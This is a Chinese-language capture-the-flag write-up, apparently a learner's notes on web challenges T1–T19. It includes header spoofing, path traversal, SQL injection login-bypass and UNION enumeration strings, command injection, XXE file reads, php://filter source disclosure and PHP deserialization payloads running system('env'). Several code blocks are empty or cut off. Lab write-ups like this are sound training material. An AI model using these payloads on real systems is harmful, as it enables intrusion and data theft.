T1-万言启封咒
考察一个f12“元素”标签的使用,更改输入框内文字为txt内容即可
T2-初识金曦玄轨
考察bp等抓包,从模糊文字可知要访问/golden_trail页面,在响应头中即可看到flag
T3-问剑石!篡天改命!
宗门弟子改命,查看源代码可知是用一个POST请求上传level,并用js上传manifest,各自改好POST上去即可
T4-金曦破禁与七绝傀儡阵
-
磐石傀儡:get方法传参即可,直接?key=xdsec
-
织云傀儡: post方法传参即可,注意不要直接复制(手打一下织云阁=第一
-
溯源傀儡:本地访问,更改XFF(X-Forwarded-For)为127.0.0.1即可
-
器灵傀儡:使用“moe browser”访问,更改useragent即可
-
心印傀儡:“以xt的身份认证user”,注意认证这两个字的含金量,所以加上cookie:user=xt
-
逆转傀儡:PUT一个”新生!“上去即可(别忘了感叹号,并且更改Content-Type)
PUT /rebirth HTTP/1.1 Host: 逆转傀儡 Content-Type: text/plain 新生!
关键:使用PUT方法;简单设置Content-Type;在Body中传递一个象征"新生"的信息
T5-打上门来!
别给首页那个破阵的文件骗了……那个是T4的,第一次做顺序放反了,被坑了好久(泣)
…/…/穿越回主目录下即可发现flag
T6-藏经禁制?玄机初探!
mysql绕过登录
用户名字段大概是:
SELECT * FROM users WHERE username=‘$username’ AND password=‘$password’;(变量记得加$,md打不出来)
所以用户名输入admin’ or 1 = 1 # 以注释掉密码,之后密码字段随便填就好
T7-灵蛛探穴与阴阳双生符
”告知搜索引擎爬虫哪些页面可以抓取“,想到robots.txt,访问,发现”Disallow: /flag.php“
访问后发现要求a!=b,且md5值”相等“,想到md5碰撞,网上搜两个传参就好(传参直接跟?就好,不用/)
T8-天衍真言,星图显圣
根据提示,可知考察sql注入,首先尝试admin’ or 1 = 1#,给出回显“Welcome admin”,并未登录
输入预期错误admin’ and 1=2#,显示登陆错误,实锤是sql注入
admin’ order by 3#起报错,说明就user和pwd两列
-1’ union select 1111,2222#,回显1111,说明pwd的字段是黑盒(注意,不要再用admin!!!admin存在就会一直报welcomeadmin,啥也拿不到)
爆库名:-1’ union select database(),2222# ,发现在user库
爆表名:-1’ union select table_name,2222 from information_schema.tables where table_schema = database() #,回显welcome flag
注意:“爆表名”时,where跟的是table_schema,且值写database,不要具体写user(待补充
爆列名:-1’ union select column_name,2222 from information_schema.columns where table_schema = database() and table_name = ‘flag’ #,得到回显welcome value
注意:flag要加双引号(泣),上面的原因也是这个
爆字段:-1’ union select value,2 from flag #,得到flag
T9-星墟禁制·天机问路
看网上wp,说是个SSRF漏洞,明天继续更()
牛魔SSRF😭问了伟大的ds大人,告诉我这是命令注入,可以使用管道符|或者分号;来执行想要的命令
尝试www.baidu.com报错:
1 | `;; communications error to 10.43.0.10#53: connection refused` |
经查找,有:
-
;;是 Linux 下dig命令(DNS 查询工具)的专属输出格式。 -
#53是 DNS 服务的默认端口
可知大概是网址被拼接到nslookup这种系统命令底下,故而可以使用管道符或者分号直接执行后头的命令
T10-天机符阵
试图直接env逃课(),但是返回报错:
1 | `<br /><b>Warning</b>: DOMDocument::loadXML(): Start tag expected, '<' not found in Entity, line: 1 in <b>/var/www/html/chapter10.php</b> on line <b>17</b><br /> |
注意到后端使用 DOMDocument::loadXML() 解析用户输入,存在典型的 XXE(XML External Entity)漏洞,速去helloctf补课
阵枢和输出未定义,这里尝试<输出>test</输出>,发现可以正常得到回显(开心o( ̄▽ ̄)ブ
尝试如下:
1 | <root> |
发现有回显,说明目标确实为linux,且存在 任意文件读取(XXE/LFI) 漏洞。
又因为题目已经提示“文件在flag.txt中”,故用这个漏洞访问file:///var/www/html/flag.txt即可
T11-千机变·破妄之眼
“GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入”,故而先使用python生成120个payload,然后bp爆破即可(脚本等下试试
爆破这块有点诡异,不知道怎么回事bp总是不行…改天继续试,这里参考wp先跳过到find.php
访问flag.php被嘲讽🤬
考虑使用filter绕过查看注释:
将./flag.php改为 php://filter/read=convert.base64-encode/resource=./flag.php 即可,解码后可以得到flag
T12-玉魄玄关·破妄
这道题用于学习 蚁剑 的使用,请使用 蚁剑 完成本题
发现后端:
1 |
|
1 | <Files *.jpg> |
1 |
|
1 |
|
1 | [PHP] |
这次尝试ls /,发现一个随机生成的flag文件,cat /flag-一堆.txt即可
T17-星骸迷阵·神念重构
发现php:
1 |
|
是个反序列化漏洞利用,unserialize结束时对象自动销毁,会触发__destruct()这个魔术方法,故而构造:
/?a=O:1:“A”:1:{s:1:“a”;s:13:“system(‘env’);”;}即可得到flag,出题人好😋
T18-万卷诡阁·功法连环
打开后发现是一段php,典型的pop链构造:
1 |
|
分析可知:WeakPoint: eval($name)
?person=_TOARUvalue -> unseri ->__wakeup:
将person对象里的name属性提取出来,赋给PA里的name属性,再用name属性调用PB的work()
PB:这个name和上面的不一样,PA的name属性里头还要包括一个name属性,说明PA的name为O,即person为两层
顺便一说分析出来PA的name最里头(即PB的name属性)就是要执行的命令
这里我们构造如下脚本:
1 |
|
之后得到
1 | O:7:"PersonA":1:{s:4:"name";O:7:"PersonB":1:{s:4:"name";s:14:"system("env");";}} |
将外层的name改成私有属性即可,s:13:“%00PersonA%00name” 注意一个%00只占一个位置
T19-星穹真相·补天归源
笔者看了题半天,感觉要累死了,下午/明天继续